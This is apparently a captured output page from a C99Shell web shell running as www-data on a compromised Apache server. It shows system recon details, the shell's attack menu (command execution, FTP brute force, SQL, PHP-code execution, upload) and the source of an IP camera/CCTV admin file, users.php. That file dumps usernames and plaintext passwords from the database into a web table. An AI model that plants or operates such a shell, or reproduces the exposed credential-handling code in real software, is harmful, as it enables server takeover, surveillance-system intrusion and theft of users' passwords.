!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/ipcam-cctv/admin/   drwxr-xr-x
Free 13.09 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     users.php (2.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/ipcam-cctv/include/main.php');
$pagepath = array(array('CCTV CONTROL''/ipcam-cctv/cctv.php'), array('ADMIN SETTINGS''/ipcam-cctv/admin/'), array('USER MANAGER'$_SERVER['REQUEST_URI']));
$topbar true;
include 
$_SERVER['DOCUMENT_ROOT'].'/ipcam-cctv/include/header.php';
?>

<script>
function remove(id) {
    if (confirm('Delete user '+id)) {
        var form = document.createElement("form");
        var e1 = document.createElement("input");
        var e2 = document.createElement("input");

        form.action = "edituser.php";
        form.method = "POST";

        e1.name = "delete";
        e1.value = 1;
        e1.type = "hidden";
        e2.name = "id";
        e2.value = id;
        e2.type = "hidden";

        form.appendChild(e1);
        form.appendChild(e2);
        document.body.appendChild(form);

        form.submit();
    }
}
</script>

<p><a class="btn btn-default" href="index.php">&lt&ltBACK</a></p>
<p>USERS:</p>
<input type="hidden" name="set_enable" value="1">
<table class="table table-hover">
    <tr>
        <th>ID</th>
        <th>USERNAME</th>
        <th>PASSWORD</th>
        <th>ENABLED</th>
        <th colspan=2>ACTIONS</th>
    </tr>

<?php

$database
->query('select id, username, password, enabled from users');
foreach (
$database->result as $row) {
    echo 
'<tr>';
    echo 
'<td>'.$row['id'].'</td>';
    echo 
'<td>'.$row['username'].'</td>';
    echo 
'<td>'.$row['password'].'</td>';
    if (
$row['enabled']==1) {
        echo 
'<td><input type="checkbox" id="enabled" checked disabled></td>';
    } else {
        echo 
'<td><input type="checkbox" id="enabled" disabled></td>';
    }
    echo 
'<td><a class="btn btn-info" href="edituser.php?id='.$row['id'].'">EDIT</a></td>';
    echo 
'<td><a class="btn btn-danger" href="#" onclick="remove('.$row['id'].')">DELETE</a></td>';
    echo 
'</tr>';
}
?>

</table>

<p><a class="btn btn-info" href="edituser.php?new=1">CREATE USER</a></p>

<?php
include $_SERVER['DOCUMENT_ROOT'].'/ipcam-cctv/include/footer.php';
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0128 ]--